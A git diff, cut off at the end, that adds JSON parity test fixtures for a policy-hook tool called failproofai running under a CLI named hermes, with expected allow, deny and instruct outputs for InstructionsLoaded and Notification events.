a/__tests__/parity/fixtures/hermes/InstructionsLoaded/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/InstructionsLoaded/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..dd7ac08c --- /dev/null +++ b/__tests__/parity/fixtures/hermes/InstructionsLoaded/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/InstructionsLoaded/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/InstructionsLoaded/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..fa895c73 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/InstructionsLoaded/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/InstructionsLoaded/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/InstructionsLoaded/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..a49e8586 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/InstructionsLoaded/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/InstructionsLoaded/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/InstructionsLoaded/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..2be73002 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/InstructionsLoaded/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/InstructionsLoaded/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/InstructionsLoaded/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..9d774dba --- /dev/null +++ b/__tests__/parity/fixtures/hermes/InstructionsLoaded/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/InstructionsLoaded/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/InstructionsLoaded/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..f96e1503 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/InstructionsLoaded/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/InstructionsLoaded/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/InstructionsLoaded/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..a71db32a --- /dev/null +++ b/__tests__/parity/fixtures/hermes/InstructionsLoaded/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/InstructionsLoaded/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/InstructionsLoaded/deny__tool-present__one-policy.json new file mode 100644 index 00000000..072916ed --- /dev/null +++ b/__tests__/parity/fixtures/hermes/InstructionsLoaded/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/InstructionsLoaded/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/InstructionsLoaded/deny__tool-present__two-policies.json new file mode 100644 index 00000000..b16fe44b --- /dev/null +++ b/__tests__/parity/fixtures/hermes/InstructionsLoaded/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/InstructionsLoaded/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/InstructionsLoaded/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..0725afd0 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/InstructionsLoaded/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/InstructionsLoaded/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/InstructionsLoaded/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..8e7a5eaa --- /dev/null +++ b/__tests__/parity/fixtures/hermes/InstructionsLoaded/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/InstructionsLoaded/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/InstructionsLoaded/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..fe0cd400 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/InstructionsLoaded/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/InstructionsLoaded/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/InstructionsLoaded/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..6a27e442 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/InstructionsLoaded/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/Notification/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/Notification/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..204cd942 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Notification/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/Notification/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/Notification/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..1057d7e6 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Notification/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/Notification/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/Notification/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..bf34fbe1 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Notification/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/Notification/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/Notification/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..e78a493e --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Notification/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/Notification/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/Notification/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..14902896 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Notification/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/Notification/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/Notification/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..31b92cf8 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Notification/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + 